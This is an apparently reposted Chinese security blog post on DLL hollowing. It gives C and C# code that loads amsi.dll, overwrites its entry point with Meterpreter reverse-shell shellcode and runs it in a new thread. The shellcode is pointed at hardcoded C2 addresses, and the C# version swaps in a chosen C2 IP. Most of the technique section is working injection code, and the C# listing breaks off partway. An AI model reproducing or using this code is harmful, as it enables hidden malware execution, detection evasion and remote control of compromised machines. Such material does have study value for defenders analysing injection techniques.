结合ppid欺骗和远线程注入实现dll挖空

2024-12-19 10 0

DLL Hollowing 技术解析

探讨挖空技术,重点是 DLL Hollowing(DLL 挖空)。与进程挖空技术不同,DLL Hollowing 会让目标进程加载新的 DLL,然后用恶意代码覆盖 DLL 的部分内容,从而实现隐匿的恶意代码执行。

原理

DLL Hollowing是一种代码注入技术,攻击者通过加载新的 DLL 并覆盖其部分代码,将恶意代码注入到当前进程或远程进程的内存空间。
这种方法的主要目标是避免恶意代码被轻易分析和检测。例如,当防御者简单检查文件系统时,加载的 DLL 和进程看起来都是良性的,没有明显的异常。

当前进程中的 DLL Hollowing

  1. 加载目标 DLL
    一个可执行文件(例如A.exe)启动后,会尝试将目标 DLL 加载到自身的内存空间中。这通常通过LoadLibrary等 API 实现。

  2. 解析 DLL 标头
    加载 DLL 后,程序会解析 DLL 的标头信息以定位注入位置。通常,入口点(DllMain)是注入恶意代码的目标位置。

  3. 覆盖入口点
    程序将恶意代码覆盖到目标 DLL 的入口点,从而控制 DLL 的执行逻辑。

  4. 启动恶意线程
    覆盖完成后,程序会创建一个新线程,该线程以恶意代码为起始点执行。

下面是展示了注入前后加载到进程中的库列表,amsi.dll是新加载的目标库。

结合ppid欺骗和远线程注入实现dll挖空插图

结合ppid欺骗和远线程注入实现dll挖空插图1

amsi.dll 的原始入口点:

结合ppid欺骗和远线程注入实现dll挖空插图2

被恶意代码覆盖后的入口点:

结合ppid欺骗和远线程注入实现dll挖空插图3

用于覆盖入口点的反混淆后的 Meterpreter Shellcode。

结合ppid欺骗和远线程注入实现dll挖空插图4

远程进程中的 DLL Hollowing

  1. 创建远程进程
    程序首先创建一个远程进程(如Notepad.exe),并获取该进程的句柄。

  2. 加载目标 DLL
    使用进程句柄,指示远程进程加载目标 DLL。

  3. 遍历加载模块
    程序遍历远程进程已加载的模块,获取目标 DLL 的内存地址。

  4. 覆盖入口点
    与第一种方法类似,通过解析 DLL 标头,程序定位并覆盖入口点,将恶意代码注入到 DLL 中。

  5. 启动远程线程
    一旦覆盖完成,程序会启动一个远程线程,入口点指向覆盖后的恶意代码。

Notepad 默认的 DLL 列表

结合ppid欺骗和远线程注入实现dll挖空插图5

加载恶意amsi.dll后的 DLL 列表。

结合ppid欺骗和远线程注入实现dll挖空插图6

DLL Hollowing 提供了一种隐匿恶意代码和隐藏执行行为的手段。与其他注入技术类似,它可以绕过简单的防御措施,例如基于父子进程关系的检测。
由于恶意代码运行在看似正常的进程中,并加载了表面上良性的 DLL,初步检查很可能会忽略这些异常。即使深入分析,也可能需要花费额外的时间来发现其真实意图。

代码演示

C代码实现

在 C 代码示例中,程序加载目标 DLL,将恶意代码写入 DLL 的入口点,并创建新线程以执行恶意代码。

关键流程

  • 加载目标 DLL
    使用 LoadLibrary 加载目标 DLL(默认是 amsi.dll),并返回其内存地址。若加载失败,则程序退出。

  • 解析 DLL 的入口点
    通过解析 MZ 和 PE 头,定位 DLL 的入口点地址。这是覆盖恶意代码的目标地址。

  • 覆盖入口点
    修改 DLL 入口点的内存权限为可读写,写入恶意代码后再恢复内存权限。

  • 创建新线程
    使用 CreateThread 启动线程,从 DLL 的入口点开始执行注入的恶意代码。

int main(int args, char *argc[]) {
    char dllName[256] = {};

    // 检查命令行参数并设置默认 DLL 名称
    if (args != 2) {
        printf("Usage:: dll_hollowing.exe <dll name>\n");
        memcpy(dllName, "amsi.dll", 9);
    } else {
        memcpy(dllName, argc[1], strlen(argc[1]));
    }

    printf("C2 IP:\t\t192.168.200.220\nDll Name:\t%s\n", dllName);

    // Meterpreter 反向 shellcode 的解码与复制
    unsigned char buff[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00...";
    int encoded_size = sizeof(buff);
    unsigned char *buf = (unsigned char *)malloc(encoded_size);
    memset(buf, 0, encoded_size);
    memcpy(buf, buff, encoded_size);

    // 加载目标 DLL
    DWORD saveProtect = 0;
    HMODULE hTargetDLL = LoadLibrary(dllName);
    if (hTargetDLL == NULL) {
        printf("[!] LoadLibrary failed to load %s\n", dllName);
        return 0;
    }

    // 解析 DLL 的入口点
    PIMAGE_DOS_HEADER mzHeader = (PIMAGE_DOS_HEADER)hTargetDLL;
    PIMAGE_NT_HEADERS peHeader = (PIMAGE_NT_HEADERS)((char *)hTargetDLL + mzHeader->e_lfanew);
    void *entryPointDLL = (void *)((char *)hTargetDLL + peHeader->OptionalHeader.AddressOfEntryPoint);
    printf("%s DLL entrypoint address is (%p)\n", dllName, entryPointDLL);

    // 修改内存权限并覆盖入口点
    VirtualProtect(entryPointDLL, encoded_size, PAGE_READWRITE, &saveProtect);
    memcpy(entryPointDLL, buf, encoded_size);
    VirtualProtect(entryPointDLL, encoded_size, saveProtect, &saveProtect);

    // 创建线程执行恶意代码
    CreateThread(0, 0, (LPTHREAD_START_ROUTINE)entryPointDLL, NULL, 0, 0);
    printf("Thread Created\n");

    // 等待退出命令
    while (true) {
        if (getchar() == 'q') {
            printf("Received an exit command\n");
            break;
        }
    }

    printf("Exiting\n");
    return 1;
}

C# 代码实现

C# 代码实现与 C 代码的操作类似,但引入了更多工具类(如 Win32)来操作 DLL 加载和内存操作。它的流程更具可读性,同时支持命令行参数来动态设置目标 DLL 和 C2 IP。

关键流程

  • 解析命令行参数
    通过命令行获取目标 DLL 名称和 C2 IP 地址,若未提供参数,则使用默认值。

  • 处理恶意 shellcode
    解码恶意 shellcode,并动态替换其中的 C2 IP 地址为用户提供的值。

  • 加载目标 DLL
    使用 LoadLibrary 加载目标 DLL,解析其入口点。

  • 覆盖入口点
    修改入口点内存权限为可读写,将恶意代码写入,并恢复内存权限。

  • 启动线程执行恶意代码
    使用 CreateThread 启动线程,从覆盖的入口点开始执行恶意代码。

unsafe class Program {
    static void Main(string[] args) {
        // 解析命令行参数
        string c2_ips = args.Length >= 2 ? args[0] : "192.168.49.115";
        string dll_name = args.Length >= 2 ? args[1] : "amsi.dll";
        Console.WriteLine("[*] Using C2 IP: {0}, DLL Name: {1}", c2_ips, dll_name);

        // 处理 shellcode
        byte[] encoded = new byte[460] { /* Shellcode */ };
        byte[] buf = DecodeShellcode(encoded, c2_ips);

        // 加载目标 DLL
        IntPtr hTargetDLL = Utility.Win32.LoadLibrary(dll_name);
        if (hTargetDLL == IntPtr.Zero) {
            Console.WriteLine("[!] LoadLibrary failed to load {0}", dll_name);
            return;
        }

        Console.WriteLine("[*] {0} Base Address: 0x{1:X}", dll_name, (long)hTargetDLL);

        // 解析 DLL 的入口点
        Utility.Win32.IMAGE_DOS_HEADER* mzHeader = (Utility.Win32.IMAGE_DOS_HEADER*)hTargetDLL.ToPointer();
        Utility.Win32.IMAGE_NT_HEADERS64* peHeader = (Utility.Win32.IMAGE_NT_HEADERS64*)((long)mzHeader + mzHeader->e_lfanew);
        IntPtr addressOfEntryPoint = new IntPtr((long)mzHeader + peHeader->OptionalHeader.AddressOfEntryPoint);

        Console.WriteLine("[*] {0} EntryPoint Address: 0x{1:X}", dll_name, (long)addressOfEntryPoint);

        /

4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

海外的bug-hunters,不一样的403bypass
java代码审计 | struts2框架路由详解
电子数据取证 | 一次电子数据取证的尝试与反思
从何同学视频看开源协议的重要性
技术实践 | 通过大模型解决高危WEB应用识别问题
Burp插件编写简易教程

发布评论